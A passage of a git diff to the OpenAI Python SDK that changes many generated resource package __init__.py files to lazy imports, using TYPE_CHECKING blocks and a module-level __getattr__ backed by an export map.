+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Runs",
diff --git a/src/openai/resources/beta/threads/runs/__init__.py b/src/openai/resources/beta/threads/runs/__init__.py
index e4eb55ba7e..3152e32133 100644
--- a/src/openai/resources/beta/threads/runs/__init__.py
+++ b/src/openai/resources/beta/threads/runs/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .runs import (
- Runs,
- AsyncRuns,
- RunsWithRawResponse,
- AsyncRunsWithRawResponse,
- RunsWithStreamingResponse,
- AsyncRunsWithStreamingResponse,
-)
-from .steps import (
- Steps,
- AsyncSteps,
- StepsWithRawResponse,
- AsyncStepsWithRawResponse,
- StepsWithStreamingResponse,
- AsyncStepsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .runs import (
+ Runs as Runs,
+ AsyncRuns as AsyncRuns,
+ RunsWithRawResponse as RunsWithRawResponse,
+ AsyncRunsWithRawResponse as AsyncRunsWithRawResponse,
+ RunsWithStreamingResponse as RunsWithStreamingResponse,
+ AsyncRunsWithStreamingResponse as AsyncRunsWithStreamingResponse,
+ )
+ from .steps import (
+ Steps as Steps,
+ AsyncSteps as AsyncSteps,
+ StepsWithRawResponse as StepsWithRawResponse,
+ AsyncStepsWithRawResponse as AsyncStepsWithRawResponse,
+ StepsWithStreamingResponse as StepsWithStreamingResponse,
+ AsyncStepsWithStreamingResponse as AsyncStepsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Steps": (".steps", "Steps"),
+ "AsyncSteps": (".steps", "AsyncSteps"),
+ "StepsWithRawResponse": (".steps", "StepsWithRawResponse"),
+ "AsyncStepsWithRawResponse": (".steps", "AsyncStepsWithRawResponse"),
+ "StepsWithStreamingResponse": (".steps", "StepsWithStreamingResponse"),
+ "AsyncStepsWithStreamingResponse": (".steps", "AsyncStepsWithStreamingResponse"),
+ "Runs": (".runs", "Runs"),
+ "AsyncRuns": (".runs", "AsyncRuns"),
+ "RunsWithRawResponse": (".runs", "RunsWithRawResponse"),
+ "AsyncRunsWithRawResponse": (".runs", "AsyncRunsWithRawResponse"),
+ "RunsWithStreamingResponse": (".runs", "RunsWithStreamingResponse"),
+ "AsyncRunsWithStreamingResponse": (".runs", "AsyncRunsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "runs",
+ "steps",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Steps",
diff --git a/src/openai/resources/chat/__init__.py b/src/openai/resources/chat/__init__.py
index b99cba1878..2169f1bffe 100644
--- a/src/openai/resources/chat/__init__.py
+++ b/src/openai/resources/chat/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .chat import (
- Chat,
- AsyncChat,
- ChatWithRawResponse,
- AsyncChatWithRawResponse,
- ChatWithStreamingResponse,
- AsyncChatWithStreamingResponse,
-)
-from .completions import (
- Completions,
- AsyncCompletions,
- CompletionsWithRawResponse,
- AsyncCompletionsWithRawResponse,
- CompletionsWithStreamingResponse,
- AsyncCompletionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .chat import (
+ Chat as Chat,
+ AsyncChat as AsyncChat,
+ ChatWithRawResponse as ChatWithRawResponse,
+ AsyncChatWithRawResponse as AsyncChatWithRawResponse,
+ ChatWithStreamingResponse as ChatWithStreamingResponse,
+ AsyncChatWithStreamingResponse as AsyncChatWithStreamingResponse,
+ )
+ from .completions import (
+ Completions as Completions,
+ AsyncCompletions as AsyncCompletions,
+ CompletionsWithRawResponse as CompletionsWithRawResponse,
+ AsyncCompletionsWithRawResponse as AsyncCompletionsWithRawResponse,
+ CompletionsWithStreamingResponse as CompletionsWithStreamingResponse,
+ AsyncCompletionsWithStreamingResponse as AsyncCompletionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Completions": (".completions", "Completions"),
+ "AsyncCompletions": (".completions", "AsyncCompletions"),
+ "CompletionsWithRawResponse": (".completions", "CompletionsWithRawResponse"),
+ "AsyncCompletionsWithRawResponse": (".completions", "AsyncCompletionsWithRawResponse"),
+ "CompletionsWithStreamingResponse": (".completions", "CompletionsWithStreamingResponse"),
+ "AsyncCompletionsWithStreamingResponse": (".completions", "AsyncCompletionsWithStreamingResponse"),
+ "Chat": (".chat", "Chat"),
+ "AsyncChat": (".chat", "AsyncChat"),
+ "ChatWithRawResponse": (".chat", "ChatWithRawResponse"),
+ "AsyncChatWithRawResponse": (".chat", "AsyncChatWithRawResponse"),
+ "ChatWithStreamingResponse": (".chat", "ChatWithStreamingResponse"),
+ "AsyncChatWithStreamingResponse": (".chat", "AsyncChatWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "chat",
+ "completions",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Completions",
diff --git a/src/openai/resources/chat/completions/__init__.py b/src/openai/resources/chat/completions/__init__.py
index 31347c4f24..85b63cefb0 100644
--- a/src/openai/resources/chat/completions/__init__.py
+++ b/src/openai/resources/chat/completions/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .messages import (
- Messages,
- AsyncMessages,
- MessagesWithRawResponse,
- AsyncMessagesWithRawResponse,
- MessagesWithStreamingResponse,
- AsyncMessagesWithStreamingResponse,
-)
-from .completions import (
- Completions,
- AsyncCompletions,
- CompletionsWithRawResponse,
- AsyncCompletionsWithRawResponse,
- CompletionsWithStreamingResponse,
- AsyncCompletionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .messages import (
+ Messages as Messages,
+ AsyncMessages as AsyncMessages,
+ MessagesWithRawResponse as MessagesWithRawResponse,
+ AsyncMessagesWithRawResponse as AsyncMessagesWithRawResponse,
+ MessagesWithStreamingResponse as MessagesWithStreamingResponse,
+ AsyncMessagesWithStreamingResponse as AsyncMessagesWithStreamingResponse,
+ )
+ from .completions import (
+ Completions as Completions,
+ AsyncCompletions as AsyncCompletions,
+ CompletionsWithRawResponse as CompletionsWithRawResponse,
+ AsyncCompletionsWithRawResponse as AsyncCompletionsWithRawResponse,
+ CompletionsWithStreamingResponse as CompletionsWithStreamingResponse,
+ AsyncCompletionsWithStreamingResponse as AsyncCompletionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Messages": (".messages", "Messages"),
+ "AsyncMessages": (".messages", "AsyncMessages"),
+ "MessagesWithRawResponse": (".messages", "MessagesWithRawResponse"),
+ "AsyncMessagesWithRawResponse": (".messages", "AsyncMessagesWithRawResponse"),
+ "MessagesWithStreamingResponse": (".messages", "MessagesWithStreamingResponse"),
+ "AsyncMessagesWithStreamingResponse": (".messages", "AsyncMessagesWithStreamingResponse"),
+ "Completions": (".completions", "Completions"),
+ "AsyncCompletions": (".completions", "AsyncCompletions"),
+ "CompletionsWithRawResponse": (".completions", "CompletionsWithRawResponse"),
+ "AsyncCompletionsWithRawResponse": (".completions", "AsyncCompletionsWithRawResponse"),
+ "CompletionsWithStreamingResponse": (".completions", "CompletionsWithStreamingResponse"),
+ "AsyncCompletionsWithStreamingResponse": (".completions", "AsyncCompletionsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "completions",
+ "messages",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Messages",
diff --git a/src/openai/resources/containers/__init__.py b/src/openai/resources/containers/__init__.py
index 50ef40ec0e..a4accc2b77 100644
--- a/src/openai/resources/containers/__init__.py
+++ b/src/openai/resources/containers/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .files import (
- Files,
- AsyncFiles,
- FilesWithRawResponse,
- AsyncFilesWithRawResponse,
- FilesWithStreamingResponse,
- AsyncFilesWithStreamingResponse,
-)
-from .containers import (
- Containers,
- AsyncContainers,
- ContainersWithRawResponse,
- AsyncContainersWithRawResponse,
- ContainersWithStreamingResponse,
- AsyncContainersWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .files import (
+ Files as Files,
+ AsyncFiles as AsyncFiles,
+ FilesWithRawResponse as FilesWithRawResponse,
+ AsyncFilesWithRawResponse as AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse as FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse as AsyncFilesWithStreamingResponse,
+ )
+ from .containers import (
+ Containers as Containers,
+ AsyncContainers as AsyncContainers,
+ ContainersWithRawResponse as ContainersWithRawResponse,
+ AsyncContainersWithRawResponse as AsyncContainersWithRawResponse,
+ ContainersWithStreamingResponse as ContainersWithStreamingResponse,
+ AsyncContainersWithStreamingResponse as AsyncContainersWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Files": (".files", "Files"),
+ "AsyncFiles": (".files", "AsyncFiles"),
+ "FilesWithRawResponse": (".files", "FilesWithRawResponse"),
+ "AsyncFilesWithRawResponse": (".files", "AsyncFilesWithRawResponse"),
+ "FilesWithStreamingResponse": (".files", "FilesWithStreamingResponse"),
+ "AsyncFilesWithStreamingResponse": (".files", "AsyncFilesWithStreamingResponse"),
+ "Containers": (".containers", "Containers"),
+ "AsyncContainers": (".containers", "AsyncContainers"),
+ "ContainersWithRawResponse": (".containers", "ContainersWithRawResponse"),
+ "AsyncContainersWithRawResponse": (".containers", "AsyncContainersWithRawResponse"),
+ "ContainersWithStreamingResponse": (".containers", "ContainersWithStreamingResponse"),
+ "AsyncContainersWithStreamingResponse": (".containers", "AsyncContainersWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "containers",
+ "files",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Files",
diff --git a/src/openai/resources/containers/files/__init__.py b/src/openai/resources/containers/files/__init__.py
index 606d92842c..1109911e1f 100644
--- a/src/openai/resources/containers/files/__init__.py
+++ b/src/openai/resources/containers/files/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .files import (
- Files,
- AsyncFiles,
- FilesWithRawResponse,
- AsyncFilesWithRawResponse,
- FilesWithStreamingResponse,
- AsyncFilesWithStreamingResponse,
-)
-from .content import (
- Content,
- AsyncContent,
- ContentWithRawResponse,
- AsyncContentWithRawResponse,
- ContentWithStreamingResponse,
- AsyncContentWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .files import (
+ Files as Files,
+ AsyncFiles as AsyncFiles,
+ FilesWithRawResponse as FilesWithRawResponse,
+ AsyncFilesWithRawResponse as AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse as FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse as AsyncFilesWithStreamingResponse,
+ )
+ from .content import (
+ Content as Content,
+ AsyncContent as AsyncContent,
+ ContentWithRawResponse as ContentWithRawResponse,
+ AsyncContentWithRawResponse as AsyncContentWithRawResponse,
+ ContentWithStreamingResponse as ContentWithStreamingResponse,
+ AsyncContentWithStreamingResponse as AsyncContentWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Content": (".content", "Content"),
+ "AsyncContent": (".content", "AsyncContent"),
+ "ContentWithRawResponse": (".content", "ContentWithRawResponse"),
+ "AsyncContentWithRawResponse": (".content", "AsyncContentWithRawResponse"),
+ "ContentWithStreamingResponse": (".content", "ContentWithStreamingResponse"),
+ "AsyncContentWithStreamingResponse": (".content", "AsyncContentWithStreamingResponse"),
+ "Files": (".files", "Files"),
+ "AsyncFiles": (".files", "AsyncFiles"),
+ "FilesWithRawResponse": (".files", "FilesWithRawResponse"),
+ "AsyncFilesWithRawResponse": (".files", "AsyncFilesWithRawResponse"),
+ "FilesWithStreamingResponse": (".files", "FilesWithStreamingResponse"),
+ "AsyncFilesWithStreamingResponse": (".files", "AsyncFilesWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "content",
+ "files",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Content",
diff --git a/src/openai/resources/conversations/__init__.py b/src/openai/resources/conversations/__init__.py
index e6dbd6eafc..0ff856493e 100644
--- a/src/openai/resources/conversations/__init__.py
+++ b/src/openai/resources/conversations/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .items import (
- Items,
- AsyncItems,
- ItemsWithRawResponse,
- AsyncItemsWithRawResponse,
- ItemsWithStreamingResponse,
- AsyncItemsWithStreamingResponse,
-)
-from .conversations import (
- Conversations,
- AsyncConversations,
- ConversationsWithRawResponse,
- AsyncConversationsWithRawResponse,
- ConversationsWithStreamingResponse,
- AsyncConversationsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .items import (
+ Items as Items,
+ AsyncItems as AsyncItems,
+ ItemsWithRawResponse as ItemsWithRawResponse,
+ AsyncItemsWithRawResponse as AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse as ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse as AsyncItemsWithStreamingResponse,
+ )
+ from .conversations import (
+ Conversations as Conversations,
+ AsyncConversations as AsyncConversations,
+ ConversationsWithRawResponse as ConversationsWithRawResponse,
+ AsyncConversationsWithRawResponse as AsyncConversationsWithRawResponse,
+ ConversationsWithStreamingResponse as ConversationsWithStreamingResponse,
+ AsyncConversationsWithStreamingResponse as AsyncConversationsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Items": (".items", "Items"),
+ "AsyncItems": (".items", "AsyncItems"),
+ "ItemsWithRawResponse": (".items", "ItemsWithRawResponse"),
+ "AsyncItemsWithRawResponse": (".items", "AsyncItemsWithRawResponse"),
+ "ItemsWithStreamingResponse": (".items", "ItemsWithStreamingResponse"),
+ "AsyncItemsWithStreamingResponse": (".items", "AsyncItemsWithStreamingResponse"),
+ "Conversations": (".conversations", "Conversations"),
+ "AsyncConversations": (".conversations", "AsyncConversations"),
+ "ConversationsWithRawResponse": (".conversations", "ConversationsWithRawResponse"),
+ "AsyncConversationsWithRawResponse": (".conversations", "AsyncConversationsWithRawResponse"),
+ "ConversationsWithStreamingResponse": (".conversations", "ConversationsWithStreamingResponse"),
+ "AsyncConversationsWithStreamingResponse": (".conversations", "AsyncConversationsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "conversations",
+ "items",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Items",
diff --git a/src/openai/resources/evals/__init__.py b/src/openai/resources/evals/__init__.py
index 18145f12c0..2f35487658 100644
--- a/src/openai/resources/evals/__init__.py
+++ b/src/openai/resources/evals/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .runs import (
- Runs,
- AsyncRuns,
- RunsWithRawResponse,
- AsyncRunsWithRawResponse,
- RunsWithStreamingResponse,
- AsyncRunsWithStreamingResponse,
-)
-from .evals import (
- Evals,
- AsyncEvals,
- EvalsWithRawResponse,
- AsyncEvalsWithRawResponse,
- EvalsWithStreamingResponse,
- AsyncEvalsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .runs import (
+ Runs as Runs,
+ AsyncRuns as AsyncRuns,
+ RunsWithRawResponse as RunsWithRawResponse,
+ AsyncRunsWithRawResponse as AsyncRunsWithRawResponse,
+ RunsWithStreamingResponse as RunsWithStreamingResponse,
+ AsyncRunsWithStreamingResponse as AsyncRunsWithStreamingResponse,
+ )
+ from .evals import (
+ Evals as Evals,
+ AsyncEvals as AsyncEvals,
+ EvalsWithRawResponse as EvalsWithRawResponse,
+ AsyncEvalsWithRawResponse as AsyncEvalsWithRawResponse,
+ EvalsWithStreamingResponse as EvalsWithStreamingResponse,
+ AsyncEvalsWithStreamingResponse as AsyncEvalsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Runs": (".runs", "Runs"),
+ "AsyncRuns": (".runs", "AsyncRuns"),
+ "RunsWithRawResponse": (".runs", "RunsWithRawResponse"),
+ "AsyncRunsWithRawResponse": (".runs", "AsyncRunsWithRawResponse"),
+ "RunsWithStreamingResponse": (".runs", "RunsWithStreamingResponse"),
+ "AsyncRunsWithStreamingResponse": (".runs", "AsyncRunsWithStreamingResponse"),
+ "Evals": (".evals", "Evals"),
+ "AsyncEvals": (".evals", "AsyncEvals"),
+ "EvalsWithRawResponse": (".evals", "EvalsWithRawResponse"),
+ "AsyncEvalsWithRawResponse": (".evals", "AsyncEvalsWithRawResponse"),
+ "EvalsWithStreamingResponse": (".evals", "EvalsWithStreamingResponse"),
+ "AsyncEvalsWithStreamingResponse": (".evals", "AsyncEvalsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "evals",
+ "runs",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Runs",
diff --git a/src/openai/resources/evals/runs/__init__.py b/src/openai/resources/evals/runs/__init__.py
index 942987e6ab..653bf40fcc 100644
--- a/src/openai/resources/evals/runs/__init__.py
+++ b/src/openai/resources/evals/runs/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .runs import (
- Runs,
- AsyncRuns,
- RunsWithRawResponse,
- AsyncRunsWithRawResponse,
- RunsWithStreamingResponse,
- AsyncRunsWithStreamingResponse,
-)
-from .output_items import (
- OutputItems,
- AsyncOutputItems,
- OutputItemsWithRawResponse,
- AsyncOutputItemsWithRawResponse,
- OutputItemsWithStreamingResponse,
- AsyncOutputItemsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .runs import (
+ Runs as Runs,
+ AsyncRuns as AsyncRuns,
+ RunsWithRawResponse as RunsWithRawResponse,
+ AsyncRunsWithRawResponse as AsyncRunsWithRawResponse,
+ RunsWithStreamingResponse as RunsWithStreamingResponse,
+ AsyncRunsWithStreamingResponse as AsyncRunsWithStreamingResponse,
+ )
+ from .output_items import (
+ OutputItems as OutputItems,
+ AsyncOutputItems as AsyncOutputItems,
+ OutputItemsWithRawResponse as OutputItemsWithRawResponse,
+ AsyncOutputItemsWithRawResponse as AsyncOutputItemsWithRawResponse,
+ OutputItemsWithStreamingResponse as OutputItemsWithStreamingResponse,
+ AsyncOutputItemsWithStreamingResponse as AsyncOutputItemsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "OutputItems": (".output_items", "OutputItems"),
+ "AsyncOutputItems": (".output_items", "AsyncOutputItems"),
+ "OutputItemsWithRawResponse": (".output_items", "OutputItemsWithRawResponse"),
+ "AsyncOutputItemsWithRawResponse": (".output_items", "AsyncOutputItemsWithRawResponse"),
+ "OutputItemsWithStreamingResponse": (".output_items", "OutputItemsWithStreamingResponse"),
+ "AsyncOutputItemsWithStreamingResponse": (".output_items", "AsyncOutputItemsWithStreamingResponse"),
+ "Runs": (".runs", "Runs"),
+ "AsyncRuns": (".runs", "AsyncRuns"),
+ "RunsWithRawResponse": (".runs", "RunsWithRawResponse"),
+ "AsyncRunsWithRawResponse": (".runs", "AsyncRunsWithRawResponse"),
+ "RunsWithStreamingResponse": (".runs", "RunsWithStreamingResponse"),
+ "AsyncRunsWithStreamingResponse": (".runs", "AsyncRunsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "output_items",
+ "runs",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"OutputItems",
diff --git a/src/openai/resources/fine_tuning/__init__.py b/src/openai/resources/fine_tuning/__init__.py
index cac23d3bf4..f109da5b77 100644
--- a/src/openai/resources/fine_tuning/__init__.py
+++ b/src/openai/resources/fine_tuning/__init__.py
@@ -1,37 +1,91 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .jobs import (
- Jobs,
- AsyncJobs,
- JobsWithRawResponse,
- AsyncJobsWithRawResponse,
- JobsWithStreamingResponse,
- AsyncJobsWithStreamingResponse,
-)
-from .alpha import (
- Alpha,
- AsyncAlpha,
- AlphaWithRawResponse,
- AsyncAlphaWithRawResponse,
- AlphaWithStreamingResponse,
- AsyncAlphaWithStreamingResponse,
-)
-from .checkpoints import (
- Checkpoints,
- AsyncCheckpoints,
- CheckpointsWithRawResponse,
- AsyncCheckpointsWithRawResponse,
- CheckpointsWithStreamingResponse,
- AsyncCheckpointsWithStreamingResponse,
-)
-from .fine_tuning import (
- FineTuning,
- AsyncFineTuning,
- FineTuningWithRawResponse,
- AsyncFineTuningWithRawResponse,
- FineTuningWithStreamingResponse,
- AsyncFineTuningWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .jobs import (
+ Jobs as Jobs,
+ AsyncJobs as AsyncJobs,
+ JobsWithRawResponse as JobsWithRawResponse,
+ AsyncJobsWithRawResponse as AsyncJobsWithRawResponse,
+ JobsWithStreamingResponse as JobsWithStreamingResponse,
+ AsyncJobsWithStreamingResponse as AsyncJobsWithStreamingResponse,
+ )
+ from .alpha import (
+ Alpha as Alpha,
+ AsyncAlpha as AsyncAlpha,
+ AlphaWithRawResponse as AlphaWithRawResponse,
+ AsyncAlphaWithRawResponse as AsyncAlphaWithRawResponse,
+ AlphaWithStreamingResponse as AlphaWithStreamingResponse,
+ AsyncAlphaWithStreamingResponse as AsyncAlphaWithStreamingResponse,
+ )
+ from .checkpoints import (
+ Checkpoints as Checkpoints,
+ AsyncCheckpoints as AsyncCheckpoints,
+ CheckpointsWithRawResponse as CheckpointsWithRawResponse,
+ AsyncCheckpointsWithRawResponse as AsyncCheckpointsWithRawResponse,
+ CheckpointsWithStreamingResponse as CheckpointsWithStreamingResponse,
+ AsyncCheckpointsWithStreamingResponse as AsyncCheckpointsWithStreamingResponse,
+ )
+ from .fine_tuning import (
+ FineTuning as FineTuning,
+ AsyncFineTuning as AsyncFineTuning,
+ FineTuningWithRawResponse as FineTuningWithRawResponse,
+ AsyncFineTuningWithRawResponse as AsyncFineTuningWithRawResponse,
+ FineTuningWithStreamingResponse as FineTuningWithStreamingResponse,
+ AsyncFineTuningWithStreamingResponse as AsyncFineTuningWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Jobs": (".jobs", "Jobs"),
+ "AsyncJobs": (".jobs", "AsyncJobs"),
+ "JobsWithRawResponse": (".jobs", "JobsWithRawResponse"),
+ "AsyncJobsWithRawResponse": (".jobs", "AsyncJobsWithRawResponse"),
+ "JobsWithStreamingResponse": (".jobs", "JobsWithStreamingResponse"),
+ "AsyncJobsWithStreamingResponse": (".jobs", "AsyncJobsWithStreamingResponse"),
+ "Checkpoints": (".checkpoints", "Checkpoints"),
+ "AsyncCheckpoints": (".checkpoints", "AsyncCheckpoints"),
+ "CheckpointsWithRawResponse": (".checkpoints", "CheckpointsWithRawResponse"),
+ "AsyncCheckpointsWithRawResponse": (".checkpoints", "AsyncCheckpointsWithRawResponse"),
+ "CheckpointsWithStreamingResponse": (".checkpoints", "CheckpointsWithStreamingResponse"),
+ "AsyncCheckpointsWithStreamingResponse": (".checkpoints", "AsyncCheckpointsWithStreamingResponse"),
+ "Alpha": (".alpha", "Alpha"),
+ "AsyncAlpha": (".alpha", "AsyncAlpha"),
+ "AlphaWithRawResponse": (".alpha", "AlphaWithRawResponse"),
+ "AsyncAlphaWithRawResponse": (".alpha", "AsyncAlphaWithRawResponse"),
+ "AlphaWithStreamingResponse": (".alpha", "AlphaWithStreamingResponse"),
+ "AsyncAlphaWithStreamingResponse": (".alpha", "AsyncAlphaWithStreamingResponse"),
+ "FineTuning": (".fine_tuning", "FineTuning"),
+ "AsyncFineTuning": (".fine_tuning", "AsyncFineTuning"),
+ "FineTuningWithRawResponse": (".fine_tuning", "FineTuningWithRawResponse"),
+ "AsyncFineTuningWithRawResponse": (".fine_tuning", "AsyncFineTuningWithRawResponse"),
+ "FineTuningWithStreamingResponse": (".fine_tuning", "FineTuningWithStreamingResponse"),
+ "AsyncFineTuningWithStreamingResponse": (".fine_tuning", "AsyncFineTuningWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "alpha",
+ "checkpoints",
+ "fine_tuning",
+ "jobs",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Jobs",
diff --git a/src/openai/resources/fine_tuning/alpha/__init__.py b/src/openai/resources/fine_tuning/alpha/__init__.py
index 7690fa3842..2600c0a35a 100644
--- a/src/openai/resources/fine_tuning/alpha/__init__.py
+++ b/src/openai/resources/fine_tuning/alpha/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .alpha import (
- Alpha,
- AsyncAlpha,
- AlphaWithRawResponse,
- AsyncAlphaWithRawResponse,
- AlphaWithStreamingResponse,
- AsyncAlphaWithStreamingResponse,
-)
-from .graders import (
- Graders,
- AsyncGraders,
- GradersWithRawResponse,
- AsyncGradersWithRawResponse,
- GradersWithStreamingResponse,
- AsyncGradersWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .alpha import (
+ Alpha as Alpha,
+ AsyncAlpha as AsyncAlpha,
+ AlphaWithRawResponse as AlphaWithRawResponse,
+ AsyncAlphaWithRawResponse as AsyncAlphaWithRawResponse,
+ AlphaWithStreamingResponse as AlphaWithStreamingResponse,
+ AsyncAlphaWithStreamingResponse as AsyncAlphaWithStreamingResponse,
+ )
+ from .graders import (
+ Graders as Graders,
